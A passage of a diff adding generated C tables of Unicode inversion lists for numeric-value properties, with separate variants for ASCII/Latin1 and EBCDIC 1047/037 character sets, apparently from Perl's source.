+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__7_invlist[] = { /* for EBCDIC 1047 */
+	197,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF7,
+	0xF8,
+	0x667,
+	0x668,
+	0x6F7,
+	0x6F8,
+	0x7C7,
+	0x7C8,
+	0x96D,
+	0x96E,
+	0x9ED,
+	0x9EE,
+	0xA6D,
+	0xA6E,
+	0xAED,
+	0xAEE,
+	0xB6D,
+	0xB6E,
+	0xBED,
+	0xBEE,
+	0xC6D,
+	0xC6E,
+	0xCED,
+	0xCEE,
+	0xD6D,
+	0xD6E,
+	0xDED,
+	0xDEE,
+	0xE57,
+	0xE58,
+	0xED7,
+	0xED8,
+	0xF27,
+	0xF28,
+	0x1047,
+	0x1048,
+	0x1097,
+	0x1098,
+	0x136F,
+	0x1370,
+	0x17E7,
+	0x17E8,
+	0x17F7,
+	0x17F8,
+	0x1817,
+	0x1818,
+	0x194D,
+	0x194E,
+	0x19D7,
+	0x19D8,
+	0x1A87,
+	0x1A88,
+	0x1A97,
+	0x1A98,
+	0x1B57,
+	0x1B58,
+	0x1BB7,
+	0x1BB8,
+	0x1C47,
+	0x1C48,
+	0x1C57,
+	0x1C58,
+	0x2077,
+	0x2078,
+	0x2087,
+	0x2088,
+	0x2166,
+	0x2167,
+	0x2176,
+	0x2177,
+	0x2466,
+	0x2467,
+	0x247A,
+	0x247B,
+	0x248E,
+	0x248F,
+	0x24FB,
+	0x24FC,
+	0x277C,
+	0x277D,
+	0x2786,
+	0x2787,
+	0x2790,
+	0x2791,
+	0x3027,
+	0x3028,
+	0x3226,
+	0x3227,
+	0x3286,
+	0x3287,
+	0x3B4D,
+	0x3B4E,
+	0x4E03,
+	0x4E04,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0xA627,
+	0xA628,
+	0xA6EC,
+	0xA6ED,
+	0xA8D7,
+	0xA8D8,
+	0xA907,
+	0xA908,
+	0xA9D7,
+	0xA9D8,
+	0xA9F7,
+	0xA9F8,
+	0xAA57,
+	0xAA58,
+	0xABF7,
+	0xABF8,
+	0xFF17,
+	0xFF18,
+	0x1010D,
+	0x1010E,
+	0x102E7,
+	0x102E8,
+	0x104A7,
+	0x104A8,
+	0x109C6,
+	0x109C7,
+	0x10E66,
+	0x10E67,
+	0x11058,
+	0x11059,
+	0x1106D,
+	0x1106E,
+	0x110F7,
+	0x110F8,
+	0x1113D,
+	0x1113E,
+	0x111D7,
+	0x111D8,
+	0x111E7,
+	0x111E8,
+	0x112F7,
+	0x112F8,
+	0x11457,
+	0x11458,
+	0x114D7,
+	0x114D8,
+	0x11657,
+	0x11658,
+	0x116C7,
+	0x116C8,
+	0x11737,
+	0x11738,
+	0x118E7,
+	0x118E8,
+	0x11C57,
+	0x11C58,
+	0x11C60,
+	0x11C61,
+	0x11D57,
+	0x11D58,
+	0x12405,
+	0x12406,
+	0x1240C,
+	0x1240D,
+	0x12412,
+	0x12413,
+	0x1241B,
+	0x1241C,
+	0x12429,
+	0x1242A,
+	0x12441,
+	0x12444,
+	0x1246C,
+	0x1246D,
+	0x16A67,
+	0x16A68,
+	0x16B57,
+	0x16B58,
+	0x1D366,
+	0x1D367,
+	0x1D7D5,
+	0x1D7D6,
+	0x1D7DF,
+	0x1D7E0,
+	0x1D7E9,
+	0x1D7EA,
+	0x1D7F3,
+	0x1D7F4,
+	0x1D7FD,
+	0x1D7FE,
+	0x1E8CD,
+	0x1E8CE,
+	0x1E957,
+	0x1E958,
+	0x1F108,
+	0x1F109,
+	0x20001,
+	0x20002
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__7_invlist[] = { /* for EBCDIC 037 */
+	197,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF7,
+	0xF8,
+	0x667,
+	0x668,
+	0x6F7,
+	0x6F8,
+	0x7C7,
+	0x7C8,
+	0x96D,
+	0x96E,
+	0x9ED,
+	0x9EE,
+	0xA6D,
+	0xA6E,
+	0xAED,
+	0xAEE,
+	0xB6D,
+	0xB6E,
+	0xBED,
+	0xBEE,
+	0xC6D,
+	0xC6E,
+	0xCED,
+	0xCEE,
+	0xD6D,
+	0xD6E,
+	0xDED,
+	0xDEE,
+	0xE57,
+	0xE58,
+	0xED7,
+	0xED8,
+	0xF27,
+	0xF28,
+	0x1047,
+	0x1048,
+	0x1097,
+	0x1098,
+	0x136F,
+	0x1370,
+	0x17E7,
+	0x17E8,
+	0x17F7,
+	0x17F8,
+	0x1817,
+	0x1818,
+	0x194D,
+	0x194E,
+	0x19D7,
+	0x19D8,
+	0x1A87,
+	0x1A88,
+	0x1A97,
+	0x1A98,
+	0x1B57,
+	0x1B58,
+	0x1BB7,
+	0x1BB8,
+	0x1C47,
+	0x1C48,
+	0x1C57,
+	0x1C58,
+	0x2077,
+	0x2078,
+	0x2087,
+	0x2088,
+	0x2166,
+	0x2167,
+	0x2176,
+	0x2177,
+	0x2466,
+	0x2467,
+	0x247A,
+	0x247B,
+	0x248E,
+	0x248F,
+	0x24FB,
+	0x24FC,
+	0x277C,
+	0x277D,
+	0x2786,
+	0x2787,
+	0x2790,
+	0x2791,
+	0x3027,
+	0x3028,
+	0x3226,
+	0x3227,
+	0x3286,
+	0x3287,
+	0x3B4D,
+	0x3B4E,
+	0x4E03,
+	0x4E04,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0xA627,
+	0xA628,
+	0xA6EC,
+	0xA6ED,
+	0xA8D7,
+	0xA8D8,
+	0xA907,
+	0xA908,
+	0xA9D7,
+	0xA9D8,
+	0xA9F7,
+	0xA9F8,
+	0xAA57,
+	0xAA58,
+	0xABF7,
+	0xABF8,
+	0xFF17,
+	0xFF18,
+	0x1010D,
+	0x1010E,
+	0x102E7,
+	0x102E8,
+	0x104A7,
+	0x104A8,
+	0x109C6,
+	0x109C7,
+	0x10E66,
+	0x10E67,
+	0x11058,
+	0x11059,
+	0x1106D,
+	0x1106E,
+	0x110F7,
+	0x110F8,
+	0x1113D,
+	0x1113E,
+	0x111D7,
+	0x111D8,
+	0x111E7,
+	0x111E8,
+	0x112F7,
+	0x112F8,
+	0x11457,
+	0x11458,
+	0x114D7,
+	0x114D8,
+	0x11657,
+	0x11658,
+	0x116C7,
+	0x116C8,
+	0x11737,
+	0x11738,
+	0x118E7,
+	0x118E8,
+	0x11C57,
+	0x11C58,
+	0x11C60,
+	0x11C61,
+	0x11D57,
+	0x11D58,
+	0x12405,
+	0x12406,
+	0x1240C,
+	0x1240D,
+	0x12412,
+	0x12413,
+	0x1241B,
+	0x1241C,
+	0x12429,
+	0x1242A,
+	0x12441,
+	0x12444,
+	0x1246C,
+	0x1246D,
+	0x16A67,
+	0x16A68,
+	0x16B57,
+	0x16B58,
+	0x1D366,
+	0x1D367,
+	0x1D7D5,
+	0x1D7D6,
+	0x1D7DF,
+	0x1D7E0,
+	0x1D7E9,
+	0x1D7EA,
+	0x1D7F3,
+	0x1D7F4,
+	0x1D7FD,
+	0x1D7FE,
+	0x1E8CD,
+	0x1E8CE,
+	0x1E957,
+	0x1E958,
+	0x1F108,
+	0x1F109,
+	0x20001,
+	0x20002
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__7_SLASH_12_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109FC,
+	0x109FD
+};
+
+static const UV PL_NV__7_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF2D,
+	0xF2E
+};
+
+static const UV PL_NV__7_SLASH_8_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x215E,
+	0x215F
+};
+
+static const UV PL_NV__70_invlist[] = { /* for all charsets */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1378,
+	0x1379,
+	0x324E,
+	0x324F,
+	0x10116,
+	0x10117,
+	0x102F0,
+	0x102F1,
+	0x109CF,
+	0x109D0,
+	0x10E6F,
+	0x10E70,
+	0x11061,
+	0x11062,
+	0x111F0,
+	0x111F1,
+	0x118F0,
+	0x118F1,
+	0x11C69,
+	0x11C6A,
+	0x1D36F,
+	0x1D370
+};
+
+static const UV PL_NV__700_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1011F,
+	0x10120,
+	0x102F9,
+	0x102FA,
+	0x109D8,
+	0x109D9,
+	0x10E78,
+	0x10E79
+};
+
+static const UV PL_NV__7000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10128,
+	0x10129,
+	0x109E1,
+	0x109E2
+};
+
+static const UV PL_NV__70000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10131,
+	0x10132,
+	0x109EA,
+	0x109EB
+};
+
+static const UV PL_NV__700000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109F3,
+	0x109F4
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__8_invlist[] = { /* for ASCII/Latin1 */
+	191,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x38,
+	0x39,
+	0x668,
+	0x669,
+	0x6F8,
+	0x6F9,
+	0x7C8,
+	0x7C9,
+	0x96E,
+	0x96F,
+	0x9EE,
+	0x9EF,
+	0xA6E,
+	0xA6F,
+	0xAEE,
+	0xAEF,
+	0xB6E,
+	0xB6F,
+	0xBEE,
+	0xBEF,
+	0xC6E,
+	0xC6F,
+	0xCEE,
+	0xCEF,
+	0xD6E,
+	0xD6F,
+	0xDEE,
+	0xDEF,
+	0xE58,
+	0xE59,
+	0xED8,
+	0xED9,
+	0xF28,
+	0xF29,
+	0x1048,
+	0x1049,
+	0x1098,
+	0x1099,
+	0x1370,
+	0x1371,
+	0x17E8,
+	0x17E9,
+	0x17F8,
+	0x17F9,
+	0x1818,
+	0x1819,
+	0x194E,
+	0x194F,
+	0x19D8,
+	0x19D9,
+	0x1A88,
+	0x1A89,
+	0x1A98,
+	0x1A99,
+	0x1B58,
+	0x1B59,
+	0x1BB8,
+	0x1BB9,
+	0x1C48,
+	0x1C49,
+	0x1C58,
+	0x1C59,
+	0x2078,
+	0x2079,
+	0x2088,
+	0x2089,
+	0x2167,
+	0x2168,
+	0x2177,
+	0x2178,
+	0x2467,
+	0x2468,
+	0x247B,
+	0x247C,
+	0x248F,
+	0x2490,
+	0x24FC,
+	0x24FD,
+	0x277D,
+	0x277E,
+	0x2787,
+	0x2788,
+	0x2791,
+	0x2792,
+	0x3028,
+	0x3029,
+	0x3227,
+	0x3228,
+	0x3287,
+	0x3288,
+	0x516B,
+	0x516C,
+	0x634C,
+	0x634D,
+	0xA628,
+	0xA629,
+	0xA6ED,
+	0xA6EE,
+	0xA8D8,
+	0xA8D9,
+	0xA908,
+	0xA909,
+	0xA9D8,
+	0xA9D9,
+	0xA9F8,
+	0xA9F9,
+	0xAA58,
+	0xAA59,
+	0xABF8,
+	0xABF9,
+	0xFF18,
+	0xFF19,
+	0x1010E,
+	0x1010F,
+	0x102E8,
+	0x102E9,
+	0x104A8,
+	0x104A9,
+	0x109C7,
+	0x109C8,
+	0x10E67,
+	0x10E68,
+	0x11059,
+	0x1105A,
+	0x1106E,
+	0x1106F,
+	0x110F8,
+	0x110F9,
+	0x1113E,
+	0x1113F,
+	0x111D8,
+	0x111D9,
+	0x111E8,
+	0x111E9,
+	0x112F8,
+	0x112F9,
+	0x11458,
+	0x11459,
+	0x114D8,
+	0x114D9,
+	0x11658,
+	0x11659,
+	0x116C8,
+	0x116C9,
+	0x11738,
+	0x11739,
+	0x118E8,
+	0x118E9,
+	0x11C58,
+	0x11C59,
+	0x11C61,
+	0x11C62,
+	0x11D58,
+	0x11D59,
+	0x12406,
+	0x12407,
+	0x1240D,
+	0x1240E,
+	0x12413,
+	0x12414,
+	0x1241C,
+	0x1241D,
+	0x1242A,
+	0x1242B,
+	0x12444,
+	0x12446,
+	0x1246D,
+	0x1246E,
+	0x16A68,
+	0x16A69,
+	0x16B58,
+	0x16B59,
+	0x1D367,
+	0x1D368,
+	0x1D7D6,
+	0x1D7D7,
+	0x1D7E0,
+	0x1D7E1,
+	0x1D7EA,
+	0x1D7EB,
+	0x1D7F4,
+	0x1D7F5,
+	0x1D7FE,
+	0x1D7FF,
+	0x1E8CE,
+	0x1E8CF,
+	0x1E958,
+	0x1E959,
+	0x1F109,
+	0x1F10A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__8_invlist[] = { /* for EBCDIC 1047 */
+	191,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF8,
+	0xF9,
+	0x668,
+	0x669,
+	0x6F8,
+	0x6F9,
+	0x7C8,
+	0x7C9,
+	0x96E,
+	0x96F,
+	0x9EE,
+	0x9EF,
+	0xA6E,
+	0xA6F,
+	0xAEE,
+	0xAEF,
+	0xB6E,
+	0xB6F,
+	0xBEE,
+	0xBEF,
+	0xC6E,
+	0xC6F,
+	0xCEE,
+	0xCEF,
+	0xD6E,
+	0xD6F,
+	0xDEE,
+	0xDEF,
+	0xE58,
+	0xE59,
+	0xED8,
+	0xED9,
+	0xF28,
+	0xF29,
+	0x1048,
+	0x1049,
+	0x1098,
+	0x1099,
+	0x1370,
+	0x1371,
+	0x17E8,
+	0x17E9,
+	0x17F8,
+	0x17F9,
+	0x1818,
+	0x1819,
+	0x194E,
+	0x194F,
+	0x19D8,
+	0x19D9,
+	0x1A88,
+	0x1A89,
+	0x1A98,
+	0x1A99,
+	0x1B58,
+	0x1B59,
+	0x1BB8,
+	0x1BB9,
+	0x1C48,
+	0x1C49,
+	0x1C58,
+	0x1C59,
+	0x2078,
+	0x2079,
+	0x2088,
+	0x2089,
+	0x2167,
+	0x2168,
+	0x2177,
+	0x2178,
+	0x2467,
+	0x2468,
+	0x247B,
+	0x247C,
+	0x248F,
+	0x2490,
+	0x24FC,
+	0x24FD,
+	0x277D,
+	0x277E,
+	0x2787,
+	0x2788,
+	0x2791,
+	0x2792,
+	0x3028,
+	0x3029,
+	0x3227,
+	0x3228,
+	0x3287,
+	0x3288,
+	0x516B,
+	0x516C,
+	0x634C,
+	0x634D,
+	0xA628,
+	0xA629,
+	0xA6ED,
+	0xA6EE,
+	0xA8D8,
+	0xA8D9,
+	0xA908,
+	0xA909,
+	0xA9D8,
+	0xA9D9,
+	0xA9F8,
+	0xA9F9,
+	0xAA58,
+	0xAA59,
+	0xABF8,
+	0xABF9,
+	0xFF18,
+	0xFF19,
+	0x1010E,
+	0x1010F,
+	0x102E8,
+	0x102E9,
+	0x104A8,
+	0x104A9,
+	0x109C7,
+	0x109C8,
+	0x10E67,
+	0x10E68,
+	0x11059,
+	0x1105A,
+	0x1106E,
+	0x1106F,
+	0x110F8,
+	0x110F9,
+	0x1113E,
+	0x1113F,
+	0x111D8,
+	0x111D9,
+	0x111E8,
+	0x111E9,
+	0x112F8,
+	0x112F9,
+	0x11458,
+	0x11459,
+	0x114D8,
+	0x114D9,
+	0x11658,
+	0x11659,
+	0x116C8,
+	0x116C9,
+	0x11738,
+	0x11739,
+	0x118E8,
+	0x118E9,
+	0x11C58,
+	0x11C59,
+	0x11C61,
+	0x11C62,
+	0x11D58,
+	0x11D59,
+	0x12406,
+	0x12407,
+	0x1240D,
+	0x1240E,
+	0x12413,
+	0x12414,
+	0x1241C,
+	0x1241D,
+	0x1242A,
+	0x1242B,
+	0x12444,
+	0x12446,
+	0x1246D,
+	0x1246E,
+	0x16A68,
+	0x16A69,
+	0x16B58,
+	0x16B59,
+	0x1D367,
+	0x1D368,
+	0x1D7D6,
+	0x1D7D7,
+	0x1D7E0,
+	0x1D7E1,
+	0x1D7EA,
+	0x1D7EB,
+	0x1D7F4,
+	0x1D7F5,
+	0x1D7FE,
+	0x1D7FF,
+	0x1E8CE,
+	0x1E8CF,
+	0x1E958,
+	0x1E959,
+	0x1F109,
+	0x1F10A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__8_invlist[] = { /* for EBCDIC 037 */
+	191,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF8,
+	0xF9,
+	0x668,
+	0x669,
+	0x6F8,
+	0x6F9,
+	0x7C8,
+	0x7C9,
+	0x96E,
+	0x96F,
+	0x9EE,
+	0x9EF,
+	0xA6E,
+	0xA6F,
+	0xAEE,
+	0xAEF,
+	0xB6E,
+	0xB6F,
+	0xBEE,
+	0xBEF,
+	0xC6E,
+	0xC6F,
+	0xCEE,
+	0xCEF,
+	0xD6E,
+	0xD6F,
+	0xDEE,
+	0xDEF,
+	0xE58,
+	0xE59,
+	0xED8,
+	0xED9,
+	0xF28,
+	0xF29,
+	0x1048,
+	0x1049,
+	0x1098,
+	0x1099,
+	0x1370,
+	0x1371,
+	0x17E8,
+	0x17E9,
+	0x17F8,
+	0x17F9,
+	0x1818,
+	0x1819,
+	0x194E,
+	0x194F,
+	0x19D8,
+	0x19D9,
+	0x1A88,
+	0x1A89,
+	0x1A98,
+	0x1A99,
+	0x1B58,
+	0x1B59,
+	0x1BB8,
+	0x1BB9,
+	0x1C48,
+	0x1C49,
+	0x1C58,
+	0x1C59,
+	0x2078,
+	0x2079,
+	0x2088,
+	0x2089,
+	0x2167,
+	0x2168,
+	0x2177,
+	0x2178,
+	0x2467,
+	0x2468,
+	0x247B,
+	0x247C,
+	0x248F,
+	0x2490,
+	0x24FC,
+	0x24FD,
+	0x277D,
+	0x277E,
+	0x2787,
+	0x2788,
+	0x2791,
+	0x2792,
+	0x3028,
+	0x3029,
+	0x3227,
+	0x3228,
+	0x3287,
+	0x3288,
+	0x516B,
+	0x516C,
+	0x634C,
+	0x634D,
+	0xA628,
+	0xA629,
+	0xA6ED,
+	0xA6EE,
+	0xA8D8,
+	0xA8D9,
+	0xA908,
+	0xA909,
+	0xA9D8,
+	0xA9D9,
+	0xA9F8,
+	0xA9F9,
+	0xAA58,
+	0xAA59,
+	0xABF8,
+	0xABF9,
+	0xFF18,
+	0xFF19,
+	0x1010E,
+	0x1010F,
+	0x102E8,
+	0x102E9,
+	0x104A8,
+	0x104A9,
+	0x109C7,
+	0x109C8,
+	0x10E67,
+	0x10E68,
+	0x11059,
+	0x1105A,
+	0x1106E,
+	0x1106F,
+	0x110F8,
+	0x110F9,
+	0x1113E,
+	0x1113F,
+	0x111D8,
+	0x111D9,
+	0x111E8,
+	0x111E9,
+	0x112F8,
+	0x112F9,
+	0x11458,
+	0x11459,
+	0x114D8,
+	0x114D9,
+	0x11658,
+	0x11659,
+	0x116C8,
+	0x116C9,
+	0x11738,
+	0x11739,
+	0x118E8,
+	0x118E9,
+	0x11C58,
+	0x11C59,
+	0x11C61,
+	0x11C62,
+	0x11D58,
+	0x11D59,
+	0x12406,
+	0x12407,
+	0x1240D,
+	0x1240E,
+	0x12413,
+	0x12414,
+	0x1241C,
+	0x1241D,
+	0x1242A,
+	0x1242B,
+	0x12444,
+	0x12446,
+	0x1246D,
+	0x1246E,
+	0x16A68,
+	0x16A69,
+	0x16B58,
+	0x16B59,
+	0x1D367,
+	0x1D368,
+	0x1D7D6,
+	0x1D7D7,
+	0x1D7E0,
+	0x1D7E1,
+	0x1D7EA,
+	0x1D7EB,
+	0x1D7F4,
+	0x1D7F5,
+	0x1D7FE,
+	0x1D7FF,
+	0x1E8CE,
+	0x1E8CF,
+	0x1E958,
+	0x1E959,
+	0x1F109,
+	0x1F10A
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__80_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1379,
+	0x137A,
+	0x324F,
+	0x3250,
+	0x10117,
+	0x10118,
+	0x102F1,
+	0x102F2,
+	0x10E70,
+	0x10E71,
+	0x11062,
+	0x11063,
+	0x111F1,
+	0x111F2,
+	0x118F1,
+	0x118F2,
+	0x11C6A,
+	0x11C6B,
+	0x1D370,
+	0x1D371
+};
+
+static const UV PL_NV__800_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10120,
+	0x10121,
+	0x102FA,
+	0x102FB,
+	0x109D9,
+	0x109DA,
+	0x10E79,
+	0x10E7A
+};
+
+static const UV PL_NV__8000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10129,
+	0x1012A,
+	0x109E2,
+	0x109E3
+};
+
+static const UV PL_NV__80000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10132,
+	0x10133,
+	0x109EB,
+	0x109EC
+};
+
+static const UV PL_NV__800000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109F4,
+	0x109F5
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__9_invlist[] = { /* for ASCII/Latin1 */
+	195,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x39,
+	0x3A,
+	0x669,
+	0x66A,
+	0x6F9,
+	0x6FA,
+	0x7C9,
+	0x7CA,
+	0x96F,
+	0x970,
+	0x9EF,
+	0x9F0,
+	0xA6F,
+	0xA70,
+	0xAEF,
+	0xAF0,
+	0xB6F,
+	0xB70,
+	0xBEF,
+	0xBF0,
+	0xC6F,
+	0xC70,
+	0xCEF,
+	0xCF0,
+	0xD6F,
+	0xD70,
+	0xDEF,
+	0xDF0,
+	0xE59,
+	0xE5A,
+	0xED9,
+	0xEDA,
+	0xF29,
+	0xF2A,
+	0x1049,
+	0x104A,
+	0x1099,
+	0x109A,
+	0x1371,
+	0x1372,
+	0x17E9,
+	0x17EA,
+	0x17F9,
+	0x17FA,
+	0x1819,
+	0x181A,
+	0x194F,
+	0x1950,
+	0x19D9,
+	0x19DA,
+	0x1A89,
+	0x1A8A,
+	0x1A99,
+	0x1A9A,
+	0x1B59,
+	0x1B5A,
+	0x1BB9,
+	0x1BBA,
+	0x1C49,
+	0x1C4A,
+	0x1C59,
+	0x1C5A,
+	0x2079,
+	0x207A,
+	0x2089,
+	0x208A,
+	0x2168,
+	0x2169,
+	0x2178,
+	0x2179,
+	0x2468,
+	0x2469,
+	0x247C,
+	0x247D,
+	0x2490,
+	0x2491,
+	0x24FD,
+	0x24FE,
+	0x277E,
+	0x277F,
+	0x2788,
+	0x2789,
+	0x2792,
+	0x2793,
+	0x3029,
+	0x302A,
+	0x3228,
+	0x3229,
+	0x3288,
+	0x3289,
+	0x4E5D,
+	0x4E5E,
+	0x5EFE,
+	0x5EFF,
+	0x7396,
+	0x7397,
+	0xA629,
+	0xA62A,
+	0xA6EE,
+	0xA6EF,
+	0xA8D9,
+	0xA8DA,
+	0xA909,
+	0xA90A,
+	0xA9D9,
+	0xA9DA,
+	0xA9F9,
+	0xA9FA,
+	0xAA59,
+	0xAA5A,
+	0xABF9,
+	0xABFA,
+	0xFF19,
+	0xFF1A,
+	0x1010F,
+	0x10110,
+	0x102E9,
+	0x102EA,
+	0x104A9,
+	0x104AA,
+	0x109C8,
+	0x109C9,
+	0x10E68,
+	0x10E69,
+	0x1105A,
+	0x1105B,
+	0x1106F,
+	0x11070,
+	0x110F9,
+	0x110FA,
+	0x1113F,
+	0x11140,
+	0x111D9,
+	0x111DA,
+	0x111E9,
+	0x111EA,
+	0x112F9,
+	0x112FA,
+	0x11459,
+	0x1145A,
+	0x114D9,
+	0x114DA,
+	0x11659,
+	0x1165A,
+	0x116C9,
+	0x116CA,
+	0x11739,
+	0x1173A,
+	0x118E9,
+	0x118EA,
+	0x11C59,
+	0x11C5A,
+	0x11C62,
+	0x11C63,
+	0x11D59,
+	0x11D5A,
+	0x12407,
+	0x12408,
+	0x1240E,
+	0x1240F,
+	0x12414,
+	0x12415,
+	0x1241D,
+	0x1241E,
+	0x1242B,
+	0x1242C,
+	0x12446,
+	0x1244A,
+	0x1246E,
+	0x1246F,
+	0x16A69,
+	0x16A6A,
+	0x16B59,
+	0x16B5A,
+	0x1D368,
+	0x1D369,
+	0x1D7D7,
+	0x1D7D8,
+	0x1D7E1,
+	0x1D7E2,
+	0x1D7EB,
+	0x1D7EC,
+	0x1D7F5,
+	0x1D7F6,
+	0x1D7FF,
+	0x1D800,
+	0x1E8CF,
+	0x1E8D0,
+	0x1E959,
+	0x1E95A,
+	0x1F10A,
+	0x1F10B,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__9_invlist[] = { /* for EBCDIC 1047 */
+	195,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF9,
+	0xFA,
+	0x669,
+	0x66A,
+	0x6F9,
+	0x6FA,
+	0x7C9,
+	0x7CA,
+	0x96F,
+	0x970,
+	0x9EF,
+	0x9F0,
+	0xA6F,
+	0xA70,
+	0xAEF,
+	0xAF0,
+	0xB6F,
+	0xB70,
+	0xBEF,
+	0xBF0,
+	0xC6F,
+	0xC70,
+	0xCEF,
+	0xCF0,
+	0xD6F,
+	0xD70,
+	0xDEF,
+	0xDF0,
+	0xE59,
+	0xE5A,
+	0xED9,
+	0xEDA,
+	0xF29,
+	0xF2A,
+	0x1049,
+	0x104A,
+	0x1099,
+	0x109A,
+	0x1371,
+	0x1372,
+	0x17E9,
+	0x17EA,
+	0x17F9,
+	0x17FA,
+	0x1819,
+	0x181A,
+	0x194F,
+	0x1950,
+	0x19D9,
+	0x19DA,
+	0x1A89,
+	0x1A8A,
+	0x1A99,
+	0x1A9A,
+	0x1B59,
+	0x1B5A,
+	0x1BB9,
+	0x1BBA,
+	0x1C49,
+	0x1C4A,
+	0x1C59,
+	0x1C5A,
+	0x2079,
+	0x207A,
+	0x2089,
+	0x208A,
+	0x2168,
+	0x2169,
+	0x2178,
+	0x2179,
+	0x2468,
+	0x2469,
+	0x247C,
+	0x247D,
+	0x2490,
+	0x2491,
+	0x24FD,
+	0x24FE,
+	0x277E,
+	0x277F,
+	0x2788,
+	0x2789,
+	0x2792,
+	0x2793,
+	0x3029,
+	0x302A,
+	0x3228,
+	0x3229,
+	0x3288,
+	0x3289,
+	0x4E5D,
+	0x4E5E,
+	0x5EFE,
+	0x5EFF,
+	0x7396,
+	0x7397,
+	0xA629,
+	0xA62A,
+	0xA6EE,
+	0xA6EF,
+	0xA8D9,
+	0xA8DA,
+	0xA909,
+	0xA90A,
+	0xA9D9,
+	0xA9DA,
+	0xA9F9,
+	0xA9FA,
+	0xAA59,
